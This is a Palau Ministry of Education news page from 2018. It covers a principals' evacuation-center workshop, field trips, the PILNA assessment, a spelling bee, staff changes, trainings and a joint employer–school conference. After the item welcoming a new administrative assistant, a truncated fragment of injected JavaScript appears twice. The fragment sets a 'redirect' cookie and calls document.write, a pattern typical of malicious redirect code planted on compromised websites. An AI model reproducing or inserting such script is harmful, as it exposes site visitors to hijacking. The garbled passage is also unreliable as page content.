Emergency Evacuation Center Management Workshop for School Principals

Through the Alii CADRE Program, the Ministry of Education worked in close partnership with the International Organization for Migration (IOM) and members of the Pacific Partnership Fleet to provide a workshop on Emergency Evacuation Center Management for public school principals on April 05, 2018. From this workshop, the school principals gained concrete tools and enhanced knowledge on disaster preparedness and emergency evacuation center management. Pictured are public school principals, IOM officials Genevieve Gruss and Dr. Dale Jenkins, members of the Pacific Partnership Fleet, and the Division of School Management personnel.

Palau Visitors Authority WAVE Field Trips

8th grade students from various public schools had the opportunity to participate in the recent Palau Visitors Authority (PVA) WAVE field trips to the rock islands.  These field trips began on March 19 and  continued throughout the week with the last trips on the 23rd of the month.  Students met at Ernguul Park in the mornings to receive briefings from PVA personnel and were then transported to Marina Dock.  From there they began their trip to Ulong where they listened to presentations by PVA, Palau Conservation Society, and Koror State Cultural Affairs.  On these trips they also had the opportunity to visit two popular tourist sites in the Southern Lagoon.  On behalf of the Ministry, we would like to thank Palau Visitor’s Authority, Palau Conservation Society, and the Koror State Cultural Affairs office for providing this opportunity to all 8th graders in Palau.

PILNA National Coordinators Workshop

The Pacific Islands Literacy and Numeracy Assessment (PILNA) National Coordinators Workshop was held in Nadi, Fiji on March 19-21, 2018. The PILNA is administered to students in grades 4 and 6 across all 15 Pacific Island Forum countries to assess literacy and numeracy knowledge and skills. The assessment is conducted every three years with oversight and coordination of Educational Quality and Assessment Program of the Pacific Community (EQAP, SPC). The first two editions of PILNA were administered in 2012 and 2015, while the third edition of PILNA will be administered in October 2018.

Chief Raynold Mechol of the Division of School Management represented Palau Ministry of Education in the workshop. The workshop covered topics relating to the roles and responsibilities of national coordinators that are critical for ensuring successful PILNA implementation in each of the 15 Pacific Island Forum countries. The topics discussed included finalizing communication protocol with EQAP, identification of participating schools by countries,student registration, test scheduling, test administration, logistical arrangements, assessment scoring, and release of PILNA results. The issues addressed also covered challenges in the 2017 PILNA trial including country specific questions. During the workshop, the test window was determined to be from October 15-26, 2018. Each of the 15 participating Pacific island countries will identify two consecutive days within the test window for in-country PILNA administration. Also included for administration with the literacy and numeracy assessments are student, teacher, and school principal questionnaires. The responses to the questionnaires will provide valuable contextual data on students, teachers, and schools. In preparation for PILNA assessment in October 2018, the Ministry of Education will be conducting presentations in school PTA meetings to raise community awareness on PILNA and hold trainings with school principals and test supervisors to ensure a successful PILNA administration in Palau.

For Palau, 15 public and two private elementary schools are expected to participate in PILNA 2018. The results of student performance in the last two PILNA assessments have been noteworthy, indicating that approximately 90% or more of Palau students perform at or above the Pacific regional literacy and numeracy benchmarks for grades 4 and 6. The results also indicate that Palau students perform better in the literacy assessment when compared with the numeracy assessment. When comparing student performance in the literacy domains, Palau students perform better in reading than writing. Consequently, the Ministry of Education has implemented several intervention strategies in the public elementary schools to improve teaching of literacy and numeracy. These intervention strategies include on-going teacher trainings in early grades literacy, concrete-pictorial-abstract method in teaching mathematics, differentiated instruction, open classes, and the implementation of journal writing across all grade levels.

Spelling Bee 2018

On March 24, 2018, Didil Belau sponsored Palau’s National Spelling Bee, which was held at Ming’s Restaurant at Palasia Hotel.  Students from all over Palau were able to compete in the spelling bee this year. The results for this year’s bee are 1st place being from the Seventh Day Adventist School, 2nd place from Maris Stella School, and third place from Peleliu Elementary School. Congratulations to all the winners!!  Good job to all the spellers for a job well done.

Division of School Management Welcomes Ms. Orchid Ngemaes


On March 19, 2018, the Division of School Management welcomed Ms. Orchid Ngemaes as their new Administrative Assistant.  Ms. Ngemaes previously worked at the Palau International Coral Reef Center.  Ms. Ngemaes will work on various administrative tasks for the division and will also work closely with all schools.  Welcome on board Ms. Ngemaes!!  ),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘ ),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

First Aid/Basic Life Support/Water Safety Training

PE Specialist Dean Terry and Education Specialist Aileen Mikel from the Ministry of Education joined 15 other people from various government and NGO offices to attend a Red Cross sponsored training on First Aid and Basic Life Support for Master Trainers.  Master Instructor Aloysius Ace Alvares from the Philippine Red Cross Society was in Palau to teach the eight day intensive course.  Specialist Terry went on to attend the Water Safety training also taught by Master Trainer Alvarez.  These two specialists are on their way to earning their master trainer credentials upon completing 80 hours of providing training to others.  The Ministry is proud to have these two employees on board who will soon be able to teach First Aid/Basic Life Support and Water Safety training to others.

Education Awareness Week 2018

From March 12 – 16, 2018, all public schools celebrated their Education Awareness Week.  Schools all over Palau held various activities throughout the week to showcase student knowledge on various content areas and topics.  Activities mainly consisted of academic showcasing, cultural performances, physical education competitions, STEM Fair projects, and field trips to various areas of Palau.  Parents and community members were also present in the various schools to show their support to their children and to learn what their children have been learning throughout the school year.  The Ministry would like to send a heartfelt thank you to all students, teachers, parents, community members, principals, volunteers and various donors for all their hard work which led to yet another successful Education Awareness Week.



Hatohobei Elementary School Visit

Chief Raynold Mechol along with Manager Kailang Asanuma of Facilities and Maintenance Unit and Asia Sowad of the Food Service Program were able to visit Hatohobei Elementary School from March 1 to 7, 2018. During this visit, they were able to meet with teacher Lily Marino and visit the students and community members of the island. Kailang was also able to conduct a facilities assessment of the school while Asia was able to distribute food supplies to all of the students. The MOE representatives were also able to attend the ribbon cutting ceremony for Hatohobei State’s newly renovated dispensary.

Farewell Principal Spis Sakuma

On February 13, 2018, Ngaraard Elementary School students, teachers, staff, parents, members of Ngaraard State Congress along with members of the MOE Management Team bode farewell to Principal Spis Sakuma. Principal Sakuma began his career with the Ministry of Education on December 2, 1991 as a classroom teacher and is now enjoying his retirement after 27 years of service. The retirement ceremony consisted of remarks by Principal Sakuma, Acting Principal Daisy Ulitch, Director Andrew Tabelual, Chief Bill Rechelluul, Chief Raynold Mechol, and PTA Chairman Joseph Tiobech. Lunch was served to everyone to enjoy with Principal Sakuma as he said his goodbyes to the school community.

BEEA/BFSCA Joint Membership Conference

Koror, Palau: The Belau Employers Alliance (BEEA) and Belau Family School and Community Association (BFSCA) held a joint membership conference on February 21, 2018 at PCC Cafeteria. Approximately 200 participants comprised of employers, teachers, students, parents, and community members attended the conference. In line with the Presidential Proclamation designating 2018 as the Year of Good Health, the conference themes were Developing College and Career Ready Students and Promoting Healthy Lifestyle in the Workplace.

The Honorable Sinton Soalablai, Minister of Education opened the joint conference. His opening remarks focused on current initiatives for developing college and career ready students including strengthening wellness and healthy lifestyle in schools. The conference featured a presentation by the Ministry of Finance on raising awareness on current government initiatives for attaining the Sustainable Development Goals (SDGs). The Ministry of Health followed with a presentation on promoting worksite wellness programs and highlighting NCD Hybrid Survey results. Dr. Patrick Tellei of Palau Community College then provided an update on PCC career and technical education program in addition to technical training programs underway for implementing RPPL 9-22 in preparing Palauans for the local workforce.

In emphasizing the conference theme of Promoting Healthy Lifestyle in the Workplace, Palau Pacific Resort, Ministry of Education, and the Ministry of Health presented examples of wellness programs being implemented in several workplaces targeting employees to become more healthy and productive workers. The BFSCA NCD Nutrition Focus Group followed with a presentation on healthy eating lifestyle and food security. The Ministry of Education and Mindszenty High School concluded the presentations by highlighting current physical education and after-school programs being implemented in schools to engage students in physical activities and healthy lifestyle.

The conference provided a great opportunity for BEEA and BFSCA members to engage with key partners on strategies and collaborative opportunities for advancing this year
s themes of Developing College and Career Ready Students and Promoting Healthy Lifestyle in the Workplace. The officers of both BEEA and BFSCA extend a sincere appreciation for the assistance provided by many private companies, government agencies, civil societies, students, parents, and community members for a successful conference this year.


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